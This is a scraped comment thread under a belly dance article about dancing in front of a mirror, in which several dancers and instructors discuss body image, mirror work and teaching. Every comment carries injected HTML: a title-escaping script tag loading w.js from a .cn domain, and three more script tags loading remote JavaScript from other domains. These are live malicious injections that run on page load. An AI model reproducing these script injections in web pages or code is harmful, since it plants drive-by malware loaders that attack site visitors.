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| Title |
Dancing in Front of a Mirror |
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Elham |
Dancing in Front of a Mirror |
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| susanna |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Interesting article. I have been very mirror-conscious of late, since I am learning to perform in front of audiences, and trying to improve my technique . I think mirror work is very important, as is viewing oneself on tape or dvd. Movements don't always look the way they feel!
So many women over the years have told me that they would not take belly dance classes because they are too fat, don't have a flat belly, or some other imagined barrier to learning the dance. I think this is a damned shame. Yet it is hard for those of us who take classes not to be comparing ourselves to the better, more experienced, younger, taller, slimmer, prettier, etc, members of the class, and to focus on our own real or imagined shortcomings.
I had a very interesting experience a few months ago when I took one of Dunya's spiritual belly dance classes. We paired up with other students, and took turns dancing to the music with our eyes closed, while our partner watched us. I felt happier and more connected to the music than I had in a long time, and the partnering with another person was very intimate and exciting. It reminded me of why I want to do this beautiful dance in the first place, because it feels so good to move to the music!
I think mirror work to learn technique alternating with the ecstatic experience of just dancing (in a safe environment) would be a very good way to learn.
What I'm trying to say is that love of one's body may be better accessed through feeling the dance and music through it rather than intellectual discussion of liked vs. disliked body parts.<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Jaklina |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--We live in a world that places physical beauty on a pedestal. Females must live up to a fabricated ideal image and every magazine & media image will make sure that we know what a woman "should" look like. One of the reasons I adore the art of belly dance is that it celebrates the feminie body in all its glorious shapes, sizes, colors and especially curves. As soon as I entered this mytstifying universe of undulations, whirls, shimmies & vibrations I was able to somehow connect to a powerful inner part of myself that was previously stifled. There is something inexplcably magical about this dance that makes a woman feel alive, gorgeous and yes sexy. In essence it does celebrate the eternal beauty of woman. Dancing in front of the mirror helped me see that. I started appreciating every curve instead of hating it. I started feeling more sensual and beautiful each time I stood in front of that mirror, allowing the kanouns & tablas to take me away to a special place. So any time I feel a tug of insecurity pulling at me I just stand in front of the mirror & let the percussion beat away all of the negativity. It is easy to say I know but it may take some time. Thank goodness for this amazing dance & I wish for all women to feel their strength, beauty and power. Thank you for this article.
Shimmies<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Tasnim |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Your friend has a similar experience to many of the women who take both my fitness classes & my belly dance classes. Each is comparing themselves to others, to me, or what they used to be. Mirrors are great for me when teaching because I can watch my student’s movements from different parts of the room, but I am aware of how awkward people feel, especially when comparing their skill with others in the room. Even those who have great bodies, feel like complete dorks when they are trying to isolate their upper bodies from their lower bodies. Actually, just yesterday a beautiful and very fit student said that she felt like someone asked her to pat her head & rub her belly at the same time when we tried to walk with an undulation! Despite her physical beauty she couldn’t bear how awkward she looked trying to walk & undulate. I assured her that we all feel this way & that with practice, practice, practice, she will smooth out her movements.
The reason I dance without looking in the mirrors when I practice is because I am surrounded by mirrors at work. We choose our movements based on how they look in the mirror, in fitness and in dance. When we are in the moment (while dancing) we surrender our bodies to explore how it interprets the music (like we do when you are at a club -hopefully, we're not at a club standing in front of a glass door but just enjoying the music & the way it moves us). When we dance publicly or professionally, you are trying to communicate to different people in your audience, so learning to dance facing a mirror becomes a crutch and one dimensional. We are not just pretty girls in pretty costumes; we are vessels interpreting the beauty of this emotional and complex music. We must be pliable and not so encumbered by what each movement looks like or we lose the audience who see superficiality over true feeling of the music. The belly dance audience is keener than those of other dance forms (the audience is usually made up of mostly women, and many of which dance.
I encourage my students to discover the movement & the dance in their private practice, because they will choose movements that compliment their bodies and their sensibilities and become more intimate and appreciative with their dance and their bodies. I think that if women stick to belly dance (or fitness) long enough they begin to appreciate their bodies not just for it's physical beauty but for its strength, health and grace. They learn to be gentler with criticism of those parts that are not so perfect, and learn to appreciate its uniqueness
<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| samirafaraha |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--I’m so happy to read this article by you Elham, and I love the Yellow costume on you, I love that color. Your article is so insightful and helpful; I love your last paragraph it is so true, I had to deal with that so many times in the past. Samira<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Shahravar |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Yes it's all true.
Everyone has great input.
Alot of dancers become mirror junkies.
Or have such harsh self opinions they can not bear to watch themselves.
I have seen performance settings when other dancers are watching themselves in reflections of mirrors,windows,glass frames etc. I found that a bit seperation as an audience member it didn't work, instead of looking at people they were looking at how good they loked in the reflection to the side of you etc.
As instructors it is all of our responsibilities to open the path that best suits the student for the learning process.
I like to use the circle technique to encourage eye contact & I encourage closing the eyes & no light sessions for a few practice steps to allow them to feel the dance not match or follow me.
Our body types are so various that the moves should look very different on every body.
I happen to teach 3 of my 4 current classes in studios with little or no mirrors. It forces the new dancers to trust that you are watching out for them. Also keeping me in check to thier facial feedback. But these dancers seem to be a bit less self conscious than my students with mirrors.
It can be a bit of a challenge to dance on the opposite hip(they are left you are right and you must call out left then layer and critique...etc.)
Great Topic-Shahravar<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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